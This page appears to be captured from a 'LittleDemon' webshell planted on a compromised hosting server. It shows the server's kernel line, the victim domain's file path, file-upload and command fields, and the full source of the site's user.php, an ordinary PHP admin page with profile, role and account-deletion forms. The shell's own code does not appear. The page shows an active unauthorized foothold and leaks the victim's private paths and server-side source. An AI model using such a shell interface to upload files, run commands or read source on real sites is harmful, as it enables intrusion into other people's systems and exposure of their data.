LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/panel.urbanpillar.in/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/panel.urbanpillar.in/public_html/user.php

<?php
include_once "cdn/globle.php";

$roll = (in_array('UserControl',array_keys($_SESSION['roll'])) ? array_values($_SESSION['roll']['UserControl']) : []);
if(isset($_SESSION['roll_name']) && $_SESSION['roll_name'] != 'user' && in_array('view',$roll) ){
?>
<!doctype html>
<html lang="en">

<?php
include 'widgets/head.php';
?>
<body class="d-flex">
  <div class="messages position-fixed w-100 p-3 top-0 start-0 ">
  </div>
<?php
include 'widgets/aside.php';
?>
<div class="page  overflow-y-auto" style="width: calc(100% - 280px); height:100vh;">
<?php
include 'widgets/header.php';
?>

<div class="body d-flex flex-wrap pb-4">
    <div class="d-flex bg-white rounded-3 p-4 m-4 shadow w-100 flex-column ">
        <div class="d-flex flex-column mb-3 w-100 ">
            <h6 class=" fw-semibold fs-6">Profile Information</h6>
            <small class="text-secondary fw-normal fs-8">Update your account's profile infromation and email address.</small>
        </div>
        <form onsubmit="return false" id="userForm">
            <div class="d-flex flex-column w-100 mt-4">
                <div class="col-8 col-sm-12 col-md-10 mb-3">
                    <label for="" class="form-label fs-7">Name</label>
                    <input type="text" class="form-control fs-7" name="name" id="name" aria-describedby="name" placeholder="">
                    <small id="name" class="form-text text-muted d-none ">Help text</small>
                </div>
                <div class="col-8 col-sm-12 col-md-10 mb-3">
                    <label for="" class="form-label fs-7">Email</label>
                    <input type="text" class="form-control fs-7" name="email" id="email" aria-describedby="email" placeholder="">
                    <small id="email" class="form-text text-muted d-none ">Help text</small>
                </div>
                <div class="col-8 col-sm-12 col-md-10 mb-3">
                    <label for="" class="form-label fs-7">Mobile</label>
                    <input type="text" class="form-control fs-7" name="mobile" id="mobile" aria-describedby="mobile" placeholder="">
                    <small id="email" class="form-text text-muted d-none ">Help text</small>
                </div>
            </div>
            <?php if(in_array('edit',$roll)){ ?>
            <div class="d-grid gap-2 justify-content-end my-2">
              <button type="button" name="save" data="userForm" class="btn btn-danger fs-7">SAVE</button>
            </div>
            <?php } ?>
        </form>
    </div>
    <div class="d-flex bg-white rounded-3 p-4 m-4 shadow w-100 flex-column ">
        <div class="d-flex flex-column mb-3 w-100 ">
            <h6 class=" fw-semibold fs-6">Profile Photo</h6>
            <small class="text-secondary fw-normal fs-8">Update your account's profile photo.</small>
        </div>
        <form onsubmit="return false" id="userPhoto" enctype="multipart/form-data">
            <div class="d-flex flex-column w-100 mt-4">
                <div class="mb-3">
                    <div class="d-flex border overflow-hidden position-relative" style="height:80px;width:80px;border-radius:50%;">
                        <img src="" id="userProfilePhoto" style="height:80px;">
                        <input type="file" class="form-control opacity-0 position-absolute z-2 h-100" name="image" id="file" aria-describedby="file" placeholder="">
                    </div>
                </div>
            </div>
             <?php if(in_array('edit',$roll)){ ?>
            <div class="d-grid gap-2 justify-content-end my-2">
              <button type="button" id="upload" data="userPhoto" class="btn btn-danger fs-7">SAVE</button>
            </div>
            <?php } ?>
        </form>
    </div>
    <div class="d-flex bg-white rounded-3 p-4 m-4 shadow w-100 flex-column ">
        <div class="d-flex flex-column mb-3 w-100 ">
            <h6 class=" fw-semibold fs-6">Profile Permission</h6>
            <small class="text-secondary fw-normal fs-8">Update your account's profile Permission.</small>
        </div>
        <form onsubmit="return false" id="userRoll">
            <div class="d-flex flex-column w-100 mt-4">
                <div class="col-8 col-sm-12 col-md-10 mb-3">
                    <label for="" class="form-label fs-7">Roll</label>
                    <select class="form-select" id="roll" name="roll" aria-label="Default select example">
                        <option selected>Open this select menu</option>
                        <option value="1">One</option>
                        <option value="2">Two</option>
                        <option value="3">Three</option>
                    </select>
                    <small id="name" class="form-text text-muted d-none ">Help text</small>
                </div>
            </div>
             <?php if(in_array('edit',$roll)){ ?>
            <div class="d-grid gap-2 justify-content-end my-2">
              <button type="button" name="save" data="userRoll"  class="btn btn-danger fs-7">SAVE</button>
            </div>
            <?php } ?>
        </form>
    </div>
     <?php if(in_array('delete',$roll)){ ?>
    <div class="d-flex bg-white rounded-3 p-4 m-4 shadow w-100 flex-column ">
        <div class="d-flex flex-column mb-3 w-100 ">
            <h6 class=" fw-semibold fs-6">Delete Account</h6>
            <small class="text-secondary fw-normal fs-8">Parmanently delete your account.</small>
                <p class="fs-7 mt-3">Once your account is deleted, all of its resources and data will be permanently deleted.</p>
        </div>
            <div class="d-grid gap-2 justify-content-start my-2">
              <button type="button" name="delete" data-bs-toggle="modal" data-bs-target="#deleteConfirmation"  class="btn btn-danger fs-7">DELETE ACCOUNT</button>
            </div>
    </div>
    <?php } ?>
</div>
 <?php if(in_array('delete',$roll)){ ?>
<div class="modal fade" id="deleteConfirmation" tabindex="-1" aria-labelledby="Delete Confirmation" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="exampleModalLabel">Delete Account</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <div class="d-flex flex-column ">
                    <p class=" text-secondary ">Are you sure you want to delete your account?.</p>
                    <h6 id="profile-name" class="text-capitalize"></h6>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                <button type="button" id="delete-account" class="btn btn-danger">Delete</button>
            </div>
        </div>
    </div>
</div>
<?php } ?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js" integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="/js/user.js"></script>
  <?php
    include 'widgets/footer.php';
  ?>
  </div>
</body>

</html>
<?php
}
?>

LittleDemon - FACEBOOK
[ KELUAR ]